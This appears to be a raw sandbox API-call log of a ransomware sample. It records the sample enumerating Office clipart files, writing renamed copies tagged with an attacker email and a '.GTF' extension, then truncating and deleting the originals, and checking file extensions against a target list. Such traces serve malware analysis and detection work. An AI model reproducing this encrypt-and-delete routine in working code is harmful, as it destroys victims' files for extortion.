	[0171.897] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.897] lstrlenW (lpString="J0107742.WMF") returned 12
	[0171.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0172.560] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=3644) returned 1
	[0172.560] CloseHandle (hObject=0x428) returned 1
	[0172.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220
	[0172.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0172.560] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.561] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0172.562] GetLastError () returned 0x0
	[0172.562] ReadFile (in: hFile=0x428, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xe3c, lpOverlapped=0x0) returned 1
	[0172.563] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xe40, lpOverlapped=0x0) returned 1
	[0172.565] ReadFile (in: hFile=0x428, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.565] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.565] SetEndOfFile (hFile=0x48c) returned 1
	[0172.565] CloseHandle (hObject=0x48c) returned 1
	[0172.565] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.565] SetEndOfFile (hFile=0x428) returned 1
	[0172.568] CloseHandle (hObject=0x428) returned 1
	[0172.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1
	[0172.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.570] lstrlenW (lpString=".doc") returned 4
	[0172.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.570] lstrlenW (lpString=".docx") returned 5
	[0172.570] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0172.570] lstrlenW (lpString=".pdf") returned 4
	[0172.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.570] lstrlenW (lpString=".xls") returned 4
	[0172.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.570] lstrlenW (lpString=".xlsx") returned 5
	[0172.570] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0172.570] lstrlenW (lpString=".ppt") returned 4
	[0172.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.570] lstrlenW (lpString=".zip") returned 4
	[0172.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.570] lstrlenW (lpString=".rar") returned 4
	[0172.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.570] lstrlenW (lpString=".bz2") returned 4
	[0172.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.570] lstrlenW (lpString=".7z") returned 3
	[0172.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.570] lstrlenW (lpString=".dbf") returned 4
	[0172.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.570] lstrlenW (lpString=".1cd") returned 4
	[0172.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.570] lstrlenW (lpString=".jpg") returned 4
	[0172.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.571] lstrlenW (lpString=".doc") returned 4
	[0172.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.571] lstrlenW (lpString=".docx") returned 5
	[0172.571] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0172.571] lstrlenW (lpString=".pdf") returned 4
	[0172.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.571] lstrlenW (lpString=".xls") returned 4
	[0172.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.571] lstrlenW (lpString=".xlsx") returned 5
	[0172.571] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0172.571] lstrlenW (lpString=".ppt") returned 4
	[0172.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.571] lstrlenW (lpString=".zip") returned 4
	[0172.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.571] lstrlenW (lpString=".rar") returned 4
	[0172.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.571] lstrlenW (lpString=".bz2") returned 4
	[0172.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.571] lstrlenW (lpString=".7z") returned 3
	[0172.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.571] lstrlenW (lpString=".dbf") returned 4
	[0172.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.571] lstrlenW (lpString=".1cd") returned 4
	[0172.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0172.571] lstrlenW (lpString=".jpg") returned 4
	[0172.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.572] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0172.572] lstrlenW (lpString="J0144773.JPG") returned 12
	[0172.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0172.573] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=40231) returned 1
	[0172.573] CloseHandle (hObject=0x428) returned 1
	[0172.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 0x220
	[0172.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0172.574] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.574] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0172.575] GetLastError () returned 0x0
	[0172.575] ReadFile (in: hFile=0x428, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x9d27, lpOverlapped=0x0) returned 1
	[0172.578] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x9d30, lpOverlapped=0x0) returned 1
	[0172.579] ReadFile (in: hFile=0x428, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.579] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.579] SetEndOfFile (hFile=0x48c) returned 1
	[0172.580] CloseHandle (hObject=0x48c) returned 1
	[0172.580] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.580] SetEndOfFile (hFile=0x428) returned 1
	[0172.583] CloseHandle (hObject=0x428) returned 1
	[0172.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1
	[0172.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.584] lstrlenW (lpString=".doc") returned 4
	[0172.584] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0172.584] lstrlenW (lpString=".docx") returned 5
	[0172.584] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0172.584] lstrlenW (lpString=".pdf") returned 4
	[0172.584] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0172.584] lstrlenW (lpString=".xls") returned 4
	[0172.584] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0172.584] lstrlenW (lpString=".xlsx") returned 5
	[0172.584] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0172.584] lstrlenW (lpString=".ppt") returned 4
	[0172.584] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0172.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.584] lstrlenW (lpString=".zip") returned 4
	[0172.584] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0172.584] lstrlenW (lpString=".rar") returned 4
	[0172.585] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0172.585] lstrlenW (lpString=".bz2") returned 4
	[0172.585] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0172.585] lstrlenW (lpString=".7z") returned 3
	[0172.585] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0172.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.585] lstrlenW (lpString=".dbf") returned 4
	[0172.585] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0172.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.585] lstrlenW (lpString=".1cd") returned 4
	[0172.585] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0172.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.585] lstrlenW (lpString=".jpg") returned 4
	[0172.585] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0172.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.585] lstrlenW (lpString=".doc") returned 4
	[0172.585] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0172.585] lstrlenW (lpString=".docx") returned 5
	[0172.585] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0172.585] lstrlenW (lpString=".pdf") returned 4
	[0172.585] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0172.585] lstrlenW (lpString=".xls") returned 4
	[0172.585] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0172.585] lstrlenW (lpString=".xlsx") returned 5
	[0172.585] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0172.585] lstrlenW (lpString=".ppt") returned 4
	[0172.585] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0172.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.585] lstrlenW (lpString=".zip") returned 4
	[0172.585] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0172.585] lstrlenW (lpString=".rar") returned 4
	[0172.586] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0172.586] lstrlenW (lpString=".bz2") returned 4
	[0172.586] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0172.586] lstrlenW (lpString=".7z") returned 3
	[0172.586] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.586] lstrlenW (lpString=".dbf") returned 4
	[0172.586] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.586] lstrlenW (lpString=".1cd") returned 4
	[0172.586] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0172.586] lstrlenW (lpString=".jpg") returned 4
	[0172.586] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0172.586] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0172.586] lstrlenW (lpString="J0145168.JPG") returned 12
	[0172.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0172.588] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=33657) returned 1
	[0172.588] CloseHandle (hObject=0x428) returned 1
	[0172.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220
	[0172.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0172.589] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.589] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0172.590] GetLastError () returned 0x0
	[0172.590] ReadFile (in: hFile=0x428, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x8379, lpOverlapped=0x0) returned 1
	[0172.593] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x8380, lpOverlapped=0x0) returned 1
	[0172.594] ReadFile (in: hFile=0x428, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.594] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.595] SetEndOfFile (hFile=0x48c) returned 1
	[0172.595] CloseHandle (hObject=0x48c) returned 1
	[0172.595] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.595] SetEndOfFile (hFile=0x428) returned 1
	[0172.889] CloseHandle (hObject=0x428) returned 1
	[0172.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1
	[0173.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.877] lstrlenW (lpString=".doc") returned 4
	[0173.877] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0173.877] lstrlenW (lpString=".docx") returned 5
	[0173.877] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0173.877] lstrlenW (lpString=".pdf") returned 4
	[0173.878] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0173.878] lstrlenW (lpString=".xls") returned 4
	[0173.878] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0173.878] lstrlenW (lpString=".xlsx") returned 5
	[0173.878] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0173.878] lstrlenW (lpString=".ppt") returned 4
	[0173.878] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0173.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.878] lstrlenW (lpString=".zip") returned 4
	[0173.878] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0173.878] lstrlenW (lpString=".rar") returned 4
	[0173.878] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0173.878] lstrlenW (lpString=".bz2") returned 4
	[0173.878] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0173.878] lstrlenW (lpString=".7z") returned 3
	[0173.878] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0173.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.878] lstrlenW (lpString=".dbf") returned 4
	[0173.878] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0173.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.878] lstrlenW (lpString=".1cd") returned 4
	[0173.878] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0173.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.878] lstrlenW (lpString=".jpg") returned 4
	[0173.878] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0173.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.878] lstrlenW (lpString=".doc") returned 4
	[0173.878] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0173.878] lstrlenW (lpString=".docx") returned 5
	[0173.878] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0173.879] lstrlenW (lpString=".pdf") returned 4
	[0173.879] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0173.879] lstrlenW (lpString=".xls") returned 4
	[0173.879] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0173.879] lstrlenW (lpString=".xlsx") returned 5
	[0173.879] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0173.879] lstrlenW (lpString=".ppt") returned 4
	[0173.879] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0173.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.879] lstrlenW (lpString=".zip") returned 4
	[0173.879] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0173.879] lstrlenW (lpString=".rar") returned 4
	[0173.879] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0173.879] lstrlenW (lpString=".bz2") returned 4
	[0173.879] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0173.879] lstrlenW (lpString=".7z") returned 3
	[0173.879] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0173.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.879] lstrlenW (lpString=".dbf") returned 4
	[0173.879] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0173.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.879] lstrlenW (lpString=".1cd") returned 4
	[0173.879] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0173.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0173.879] lstrlenW (lpString=".jpg") returned 4
	[0173.879] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
